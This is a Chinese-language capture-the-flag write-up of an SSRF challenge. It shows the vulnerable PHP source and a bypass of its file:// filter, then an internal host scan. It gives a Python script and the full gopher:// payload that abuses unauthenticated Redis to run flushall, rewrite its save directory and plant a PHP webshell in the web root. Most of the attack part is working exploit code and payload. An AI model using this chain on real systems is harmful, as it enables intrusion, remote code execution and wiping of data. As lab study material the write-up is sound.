查看源碼發現提示:
在url裏訪問一下:
得到一串ifconfig的結果,整理一下的:
eth0 Link encap:Ethernet HWaddr 02:42:ad:62:04:0a
inet addr:173.96.119.10 Bcast:173.98.4.255 Mask:255.255.255.0
UP BROADCAST RUNNING MULTICAST MTU:1450 Metric:1
RX packets:93 errors:0 dropped:0 overruns:0 frame:0
TX packets:116 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:16125 (16.1 KB) TX bytes:18113 (18.1 KB)
lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
UP LOOPBACK RUNNING MTU:65536 Metric:1
RX packets:24 errors:0 dropped:0 overruns:0 frame:0
TX packets:24 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:1376 (1.3 KB) TX bytes:1376 (1.3 KB)
給了ip,想一想也知道這應該是個ssrf的題。我們試一下file協議讀文件:
發現file協議被過濾了,我們可以嘗試繞過:file:/
、file:<空格>///
得到源碼:
<?php
function curl($url){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 0);
echo curl_exec($ch);
curl_close($ch);
}
if(isset($_GET['submit'])){
$url = $_GET['url'];
//echo $url."\n";
if(preg_match('/file\:\/\/|dict|\.\.\/|127.0.0.1|localhost/is', $url,$match))
{
//var_dump($match);
die('別這樣');
}
curl($url);
}
if(isset($_GET['secret'])){
system('ifconfig');
}
?>
從源碼中可知過濾了file協議、dict協議、127.0.0.1和localhost,但沒有過濾http協議和gopher協議
我們使用http協議進行內網主機存活探測。用burp抓包,跑字典:
這裏掃到了173.96.119.6/5/7/10/11,這幾臺主機都存活,在看到173.96.119.11這臺機子時給出了提示:
說讓試試不同的端口(服務)。應該是猜測6379端口(redis)或3306端口(mysql)。發現是6379端口。
再次抓包跑字典:
然後這裏需要將線程調低點,不然訪問太快容易429
掃描到6379端口,redis服務,我們利用redis未授權訪問的漏洞,在根目錄下生成個文件shell.php
,這裏的dict協議也被過濾了,所以得用gopher協議。大神的腳本:
import urllib
protocol="gopher://"
ip="173.96.119.11" // 運行有redis的主機ip
port="6379"
shell="\n\n<?php system(\"cat /flag\");?>\n\n"
filename="shell.php"
path="/var/www/html"
passwd=""
cmd=["flushall",
"set 1 {}".format(shell.replace(" ","${IFS}")),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save"
]
if passwd:
cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
CRLF="\r\n"
redis_arr = arr.split(" ")
cmd=""
cmd+="*"+str(len(redis_arr))
for x in redis_arr:
cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
cmd+=CRLF
return cmd
if __name__=="__main__":
for x in cmd:
payload += urllib.quote(redis_format(x))
print payload
運行上面腳本得到ssrf的payload:
gopher://173.96.119.11:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2432%0D%0A%0A%0A%3C%3Fphp%20system%28%22cat%20/flag%22%29%3B%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A
將生成的payload打過去,在根目錄下生成個文件shell.php
發現這樣不行,payload還必須在那個框中輸入,應該是編碼的問題,不然直接在url裏打就行了或在kali中:
在那個框中輸入
之後再訪問http://173.96.119.11/shell.php